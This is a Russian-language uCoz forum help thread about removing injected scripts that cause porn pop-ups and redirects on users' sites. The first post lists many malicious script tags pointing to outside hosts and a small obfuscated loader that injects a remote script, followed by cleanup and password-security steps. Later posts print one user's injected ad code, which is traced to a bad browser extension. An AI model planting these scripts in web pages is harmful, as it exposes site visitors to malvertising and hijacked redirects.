Модератор форума: Yuri_G  
Если на вашем сайте появились порнобаннеры
webanet
Сообщений: 24067
Репутация: 4985

Сообщение # 1 | 15:57:08
Если на вашем сайте постоянные перебросы на другие сайты или появляется куча всплывающих рекламных баннеров, порнобаннеров, то вы должны проверить код страниц на наличие следующих скриптов:

Код
<script type="text/javascript" src="https://dl.dropboxusercontent.com/s/hvuz2754blb414j/niucee.txt"></script>
<script type="text/javascript" src="https://dl.dropboxusercontent.com/s/eipt4uu8dbovggv/niuggcee.txt"></script>
<script type="text/javascript" src="https://dl.dropboxusercontent.com/s/1ca1t7akhf87zrc/flashsiteru.txt"></script>
<script type="text/javascript" src="https://dl.dropboxusercontent.com/s/af6arwcjnknnb15/menu.txt"></script>
<script type="text/javascript" src="https://dl.dropboxusercontent.com/s/ud3ne5xe8dcre8u/topbottom.txt"></script>
<script type="text/javascript" src="https://dl.dropboxusercontent.com/s/kuejhhvopk6nw6z/mysql.txt"></script>
<script type="text/javascript" src="https://dl.dropboxusercontent.com/s/g5zffknmr8da4tp/update.txt"></script>
<script type="text/javascript" src="https://dl.dropboxusercontent.com/s/4lgd2g170q96tq3/menu-v2.txt"></script>
<script type="text/javascript" src="https://dl.dropboxusercontent.com/s/4f9eakzpj17n2yw/shapka.txt"></script>
<script type="text/javascript" src="https://dl.dropboxusercontent.com/s/tnwyduomjbcsxzm/opapo.txt"></script>
<script type="text/javascript" src="https://dl.dropboxusercontent.com/s/207odofje1uzdl5/orororo.txt"></script>
<script language="JavaScript" src="http://gocash.ws/js/slider.php?id=51"></script>
<script language="javascript" src="http://golink2.ru9.biz/js/back.php?id=43"></script>
<script language='javascript' type='text/javascript' src='http://omirevovne.ru/55zgn5x6ihj88voak3xatwx61o2o28l'></script>
<script language='javascript' charset='UTF-8' type='text/javascript' src='http://omirevovne.ru/739tqn6t0d66blax8ijp5g164r61v4ut'></script>
<script language='javascript' charset='UTF-8' type='text/javascript' src='http://omirevovne.ru/98vihkxfbix863weu7zv9wqxjxhbbdh'></script>
<script type="text/javascript" src="http://nativevat.hol.es/rases.txt"></script>
<script language='javascript' charset='UTF-8' type='text/javascript' src='http://tsingera.ru/5easame6c5z7eb11wv3tp0164r61v4ut'></script>
<script async charset='UTF-8' language='javascript' type='text/javascript' src='http://omirevovne.ru/6mg4oc9iyoi50h5tcwiudp6yfoe9gnd5e53tyz991m51k05'></script>
<script async charset='UTF-8' language='javascript' type='text/javascript' src='http://omirevovne.ru/9bg8m0fsumq6pg79dp5ikt8sy9lxik40i89gq7udb51xjt1'></script>
<script async charset='UTF-8' language='javascript' type='text/javascript' src='http://omirevovne.ru/7s0qxmmi2365xqgf6si4b17klvgtdyvrm5ex2ij7pdg5jet'></script>
<script async charset='UTF-8' language='javascript' type='text/javascript' src='http://omirevovne.ru/8jqhrtj5gcy538xp6e6s7h8nepubdfejg5vjptg5p0eti11'></script>


Актуальные на данный момент и самые распространенные эти скрипты

Код
<script language='javascript' charset='UTF-8' type='text/javascript' src='http://bobrilla.com/7h4p5qn4qhr8ee1ywr1nh01af3d31nbp'></script>


Код
<script async charset='UTF-8' language='javascript' type='text/javascript' src='http://iqmasa.ru/6rzofz8uuc28ef8pehs6rx5nbidd8hra473w3yk0c1n9d39'></script>

Код
<script language='javascript' charset='UTF-8' type='text/javascript' src='http://fasterdir.ru/8v0n2hh3me45jvyxrtdyc4164r61v4ut'></script>


Код
<script language='javascript' charset='UTF-8' type='text/javascript' src='http://omirevovne.ru/739tqn6t0d66blax8ijp5g164r61v4ut'></script>


Код
<script language='javascript' type='text/javascript' src='http://omirevovne.ru/55zgn5x6ihj88voak3xatwx61o2o28l'></script>


Код
<script language="javascript" src="http://golink2.ru9.biz/js/back.php?id=43"></script>


Код
<script language="JavaScript" src="http://gocash.ws/js/slider.php?id=51"></script>


Код
<script language='javascript' charset='UTF-8' type='text/javascript' src='http://mobatori.com/6h3mo39hhqx8pibnjyshzo13skikuus5'></script>


Код
<script language='javascript' type='text/javascript' src='http://omirevovne.ru/55zgn5x6ihj88voak3xatwx61o2o28l'></script>


Код
<script async charset='UTF-8' language='javascript' type='text/javascript' src='http://omirevovne.ru/8mi9nn0te6q68tjygr5vm573z85xk4lzw89gq7udb51xh8l'></script>


Код
<script language='javascript' charset='UTF-8' type='text/javascript' src='http://tsingera.ru/5easame6c5z7eb11wv3tp0164r61v4ut'></script>


Код
<script async charset='UTF-8' language='javascript' type='text/javascript' src='http://omirevovne.ru/6mg4oc9iyoi50h5tcwiudp6yfoe9gnd5e53tyz991m51k05'></script>


Код
<script async charset='UTF-8' language='javascript' type='text/javascript' src='http://omirevovne.ru/9bg8m0fsumq6pg79dp5ikt8sy9lxik40i89gq7udb51xjt1'></script>


Код
<script async charset='UTF-8' language='javascript' type='text/javascript' src='http://omirevovne.ru/7s0qxmmi2365xqgf6si4b17klvgtdyvrm5ex2ij7pdg5jet'></script>


Код
<script async charset='UTF-8' language='javascript' type='text/javascript' src='http://omirevovne.ru/8jqhrtj5gcy538xp6e6s7h8nepubdfejg5vjptg5p0eti11'></script>


Код
<script language='javascript' charset='UTF-8' type='text/javascript' src='http://chicop.ru/68sb0mshp9b78t1epj44r8zi8bjocb9'></script>


Код
<script language='javascript' charset='UTF-8' type='text/javascript' src='http://mobmas.ru/s/948'></script>


Код

<script type="text/javascript">
  (function(w) {
  var script = document.createElement('script');
  var i = setInterval(function() {
  if (typeof w.document.body !== 'undefined') {
  script.src = 'http://knjjiiyqj.about-home.info' + '/?818010=LmcuKHw4NjU5MTM-KWdrbm5oaG0';
  w.document.body.appendChild(script);
  clearInterval(i);
  }
  }, 200);
})(window);
</script>
<script type="text/javascript">
  (function(w) {
  var script = document.createElement('script');
  var i = setInterval(function() {
  if (typeof w.document.body !== 'undefined') {
  script.src = 'http://knjjiiyqj.about-home.info' + '/?823389=KWApL3s_MTI-NjQ5LmBsaWlvb2U';
  w.document.body.appendChild(script);
  clearInterval(i);
  }
  }, 200);
})(window);
</script>



Как удалить:

1) Код как правило внедряется в шаблоны Страницы сайта. Модуль новости (все шаблоны) но могут быть варианты. Иногда код внедряется во все шаблоны сайта.
Прописывается в верхней части шаблона или в самом низу. Реже встречается в футере (глобальный блок Нижняя часть сайта)

2) Для удаления нужно воспользоваться функцией Быстрой замены. Для этого надо пройти в панель управления - Дизайн - Управление дизайном - Быстрая замена - В поле "Что заменить" вставляете скрипт (даже если внедрено много скриптов лучше удалять по одному) - Поле на что изменить оставляете пустым и производите замену во всех действующих модулях
Если скриптов много внедрено, можно попробовать многострочную замену по той же схеме
3) После очистки сайта от внедренного кода нужно обязательно сменить пароль uID профиля, которым администрируете сайт. Инструкция по изменению пароля находится тут //forum.ucoz.ru/forum/45-52299-1
4) Если после изменения uID пароля на новый сложный у вас снова и снова возникает проблема внедрения чужеродного кода, то выполните следующие инструкции:
1) создайте нового пользователя в панели управления сайтом: задайте ему Логин и сложнейший пароль
2) дайте созданному пользователю права администратора, а у бывшего uID профиля, которым администрировали сайт заберите права и переведите его в низшую группу
3) в общих настройках сайта поставьте старый Вид кнопки uID авторизации и далее администрируйте сайт локально
5) Если локальный способ администрирования для вас не подходит, то создайте в системе ещё один uID профиль, на котором не будет сайтов и прав управления ни одним из сайтов. И новый созданный профиль используйте для авторизации на сайтах системы uCoz с uID авторизацией. А uID профилем, которым вы администрируете сайт или сайты заходите только к себе на сайты и более никуда. И поставьте на uID пароль администратора сайта сложнейший пароль!
6) Заберите права доступа к админ бару другим администраторам и модераторам вашего сайта. не пускайте никого в панель управления сайтом
7) Будьте внимательны к письмам, которые приходят на вашу почту. Часто мошенники имитируют письма от вебсервиса uCoz, в которых просят вас пройти или верификацию или пройти по ссылкам, также просят ввод ваших данных (вебтоп пароль и пароль uID профиля или секретный вопрос и ответ). Если вы сомневаетесь в письме, которое вам пришло от имени сервиса, вы можете всегда спросить или на форуме в этой теме //forum.ucoz.ru/forum/45-46950-1 или перешлите его сразу на адрес abuse@ucoz.ru
Будьте всегда бдительны и следите за темой //forum.ucoz.ru/forum/45-35739-1


Если вы вообще ничего не поняли, но проблема появления всплывающих порнобаннеров и переброски на чужие сайты с вашего у вас существует, то при обращении в эту тему вы должны дать ссылку на свой сайт, дать ссылку на сайт куда перебрасывает (если есть переброс), а так же указать происходит это под логином или под гостем

ТУТ можно оставить своё мнение по любому вопросу
https://webanetlabs.net/
webanet
Сообщений: 24067
Репутация: 4985

Сообщение # 211 | 22:30:44
Kibay, где адрес вашего сайта с левой рекламой?

ТУТ можно оставить своё мнение по любому вопросу
https://webanetlabs.net/
Kibay
Сообщений: 7
Репутация: 0

Сообщение # 212 | 22:38:13
Цитата webanet ()
Kibay, где адрес вашего сайта с левой рекламой?
отправил в ЛС.
Prolov01
Сообщений: 23
Репутация: 15

Сообщение # 213 | 09:03:12
Добрый день.
Сайт - http://kinovchulime.ru
Появилась такая реклама:




Скрипты в коде не нашел.

При клике кидает на озон - http://www.ozon.ru/?apsource=62271 (номер 62271 - это наверно ссылка партнерская или реферальная)
также кидает сюда - http://join1.kluberudit.ru/logo_gi....t.MMEoe

сюда - http://www.tvigle.ru/?ref=10....8WN6E_n

и сюда - http://prostiedengi.info/?vid=3&....58.7989

Использую шаблон вот отсюда - http://uthemes.ru/. Использую бесплатно на их условиях - они просят блок их рекламы не убирать, но там только ссылки в левой части внизу "Наши спонсоры". Такое они никогда не кидали.

Помогите пожалуйста.

У меня тариф базовый - реклама от юкоз отключена.
Сообщение отредактировал Prolov01 - Среда, 25 Июн 2014, 09:11:09
$Vladimir$
Сообщений: 7465
Репутация: 1053

Сообщение # 214 | 10:05:27
Prolov01, вы рекламный блок видите в разных браузерах или только в FF?
Prolov01
Сообщений: 23
Репутация: 15

Сообщение # 215 | 10:51:25
$Vladimir$, В Опере тоже было. Сейчас что то не появляется ни там, ни там.

Добавлено (25 Июн 2014, 10:48:19)
---------------------------------------------
$Vladimir$, куки очистил - появилась:


кидает сюда - https://slotobar.com/ru....y2_7989

и опять сюда - http://prostiedengi.info/?vid=3&....58.7989

Опера у меня - 12.17

Добавлено (25 Июн 2014, 10:51:25)
---------------------------------------------
Еще одна вещь обнаружилась.
Просто кликнул на странице в серединку и кинуло на эту страницу - http://metodikadeneg.info/?vid=2&autoplay=1&user=tube0160.7989

koza4ello
Сообщений: 611
Репутация: 259

Сообщение # 216 | 10:57:43
Prolov01, проблема устранена, попробуйте еще раз очистить куки и повторить манипуляции, при которых показывался баннер.
Prolov01
Сообщений: 23
Репутация: 15

Сообщение # 217 | 11:11:47
koza4ello,
куки очистил, но появилось все равно, правда в этот раз сверху в FF:

Добавлено (25 Июн 2014, 11:09:44)
---------------------------------------------
а в опере то же самое, но снизу

Добавлено (25 Июн 2014, 11:11:47)
---------------------------------------------
я это окошко закрыть не могу, при клике на крестик кидает на другую страницу

Megas
Сообщений: 72
Репутация: 4

Сообщение # 218 | 12:29:21
Prolov01, У вас реклама только на вашем сайте?

Просто я захожу и не вижу никакой рекламы
Prolov01
Сообщений: 23
Репутация: 15

Сообщение # 219 | 14:44:07
koza4ello, Спасибо, вроде исчезло. Но разрешите узнать - в чем проблема была?

Megas, Это очень хорошо, что не видите - //forum.ucoz.ru/forum/45-57475-1194787-16-1403679463

Добавлено (25 Июн 2014, 14:44:07)
---------------------------------------------
koza4ello, рано обрадовался, проблема актуальна. Реклама все еще появляется.
Megas, да, реклама на моем сайте.

Сообщение отредактировал Prolov01 - Среда, 25 Июн 2014, 14:16:38
koza4ello
Сообщений: 611
Репутация: 259

Сообщение # 220 | 14:57:16
Prolov01, проблему более не подтверждается на нескольких рабочих станциях, во всех браузерах. Можете попробовать открыть сайт на другом ПК.
Prolov01
Сообщений: 23
Репутация: 15

Сообщение # 221 | 15:21:54
koza4ello, В Опере после очистки всех куков появилось вот это:


Еще при клике по пустому месту кидает на всякие сайты. В FF тоже самое.
Сообщение отредактировал Prolov01 - Среда, 25 Июн 2014, 15:22:28
koza4ello
Сообщений: 611
Репутация: 259

Сообщение # 222 | 15:25:18
Prolov01, вы пробовали на другом ПК?
Prolov01
Сообщений: 23
Репутация: 15

Сообщение # 223 | 18:16:03
koza4ello, Пока нет, через пол часа попробую.

Добавлено (25 Июн 2014, 18:16:03)
---------------------------------------------
koza4ello, на других ПК ничего не выдал почему то.

Вот код баннера, мож что то подскажите:

Код
<!-- 0.04529 (s83) -->

<div id="adobe_advertising"></div>
<div id="my_stats_li" style="display: none;"></div>

<script type="text/javascript" src="http://c.100im.info/im.php?s=52345"></script>

<div id="105727">
     <div class="AdPFrame AdPFrameBlock110482" style="padding: 8px; margin: 0px; border: 0px solid transparent; di…oll 0% 0% rgba(155, 155, 155, 0.5); right: 0px; bottom: 0px;" blockid="110482" adpclassname="AdPFrameBlock110482">

         <div class="poplogo" style="background-color: rgb(0, 0, 0); padding: 3px; font-family: Arial; font-size: 10px;">
             <a style="color: rgb(255, 255, 255); text-decoration: none;"></a>
             <a close="" style="float: right ! important; color: rgb(255, 255, 255); text-decoration: none;" href="#"></a>

         </div>

         <iframe width="240" height="419" frameborder="0" marginwidth="0" marginheight="0" hspace="0" vspace="0" scrolling="no">
             #document
                 <html></html>
         </iframe>
     </div>
     <adframe blockid="110482"></adframe>

</div>
<div id="AM_amcu"></div>

<script type="text/javascript" src="//p.adframesrc.com/static/js/blockm.js?1403700246128" charset="utf-8"></script>
<script src="//p.adframesrc.com/b.js.php?&b[]=110482"></script>
<link href="//p.adframesrc.com/static/css/defaultm.css?t=1403700246551" rel="stylesheet" type="text/css"></link>
<script async="" src="//p.adframesrc.com/in.php?nc=1403700246704&vr=&wt=t&hl=2&vid…2&w[110482]=240&h[110482]=400&ot[110482]=473&ol[110482]=1001"></script>
$Vladimir$
Сообщений: 7465
Репутация: 1053

Сообщение # 224 | 08:55:21
Цитата Prolov01 ()
на других ПК ничего не выдал почему то.
Prolov01, вам нужно лечить PC, это локальная проблема. Судя по всему у вас вирус в компьютере. Проверьте ваши расширения, дополнения для браузеров. Просмотрите запущенные процессы.
Prolov01
Сообщений: 23
Репутация: 15

Сообщение # 225 | 14:26:26
$Vladimir$, да, так и было. Извиняюсь за беспокойство.
В обоих браузерах было левое расширение - "Скачайте музыку mp3, видео из Вконтакта".
Поиск: